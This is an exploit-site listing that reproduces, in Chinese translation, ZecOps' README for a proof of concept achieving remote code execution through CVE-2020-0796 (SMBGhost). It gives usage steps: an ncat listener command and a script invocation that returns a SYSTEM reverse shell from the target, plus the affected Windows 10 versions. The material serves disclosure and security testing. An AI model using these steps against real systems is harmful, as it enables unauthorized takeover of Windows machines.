Sploitus

Exploit for CVE-2020-0796-RCE-POC

kitploit · 2026-08-25

Exploit Code

MARKDOWN56 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAMF-CVE-2020-0796-RCE-POC
# CVE-2020-0796 远程代码执行概念验证

(c) 2020 ZecOps, Inc. - https://www.zecops.com \- 发现攻击者的错误  
CVE-2020-0796 / "SMBGhost" 的远程代码执行概念验证  
预期结果:返回系统级权限的反向 Shell。  
仅限在企业环境中用于教育和测试。  
ZecOps 对此代码不承担任何责任,使用风险自负。  
如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣,以便自动检测 SMBGhost 和其他类型的攻击,请联系 some-email@example.com。

## 使用方法

  * 确保目标计算机上已安装 **Python** 和 **ncat** 。

  * 在目标计算机上运行 `calc_target_offsets.bat`,并根据脚本输出调整 `SMBleedingGhost.py` 文件顶部的偏移量(另请参阅下面的说明)。

  * 使用以下命令行参数运行 **ncat** :

`ncat -lvp <port>`

其中 `<port>` 是 **ncat** 将监听的端口号。

  * 使用以下命令行参数运行 `SMBleedingGhost.py`:

`SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>`

其中 `<target_ip>` 是目标易受攻击计算机的 IP 地址。`<reverse_shell_ip>` 和 `<reverse_shell_port>` 是 **ncat** 监听的 IP 地址和端口号。

  * 如果一切顺利,**ncat** 将显示一个提供目标计算机系统访问权限的 Shell。




**注意:** 您可能会疑惑为什么需要在目标计算机上运行 `calc_target_offsets.bat` 脚本,这难道不违背远程代码执行“远程”的初衷吗?这些偏移量并非随机,且在同一 Windows 版本的所有实例上均相同。通过检测目标 Windows 版本并自动调整偏移量,或者完全摆脱对偏移量的依赖,可以使攻击更具通用性。但这只是一个概念验证,我们选择了更简单的方法。我们也认为 POC 不具备通用性是一件好事,因为它不适合除测试和教育之外的其他用途。

![demo](https://assets.kitploit.com/production/public/readmes/6781/45605cb329a0113cc1107f2e46846bce151d7d2231de228847db6a2d594fbc50.gif)

## 目标环境

Windows 10 版本 1903 和 1909 受影响。由于 Windows 中的空解引用错误(在 KB4512941 中修复),未打补丁的 Windows 10 1903 版本不受支持。

由于利用方式的特性,该 POC 在具有单个逻辑处理器的计算机(或虚拟机)上运行效果最佳。对于在 VirtualBox 中运行且具有多个逻辑处理器的目标,也应是支持的,但在这种情况下 POC 的可靠性较差。其他目标可能不受支持。详情请参阅下方的技术文章。

## 技术文章

  * SMBleedingGhost 文章第一部分:将 SMBleed(CVE-2020-1206)与 SMBGhost 链式利用
  * SMBleedingGhost 文章第二部分:未经身份验证的内存读取——为 RCE 铺路
  * SMBleedingGhost 文章第三部分:从远程读取(SMBleed)到 RCE



## 参考资料

  * 漏洞复现:CVE-2020-0796 POC - ZecOps 博客
  * CVE-2020-0796 - 微软安全响应中心
  * CVE-2020-1206 - 微软安全响应中心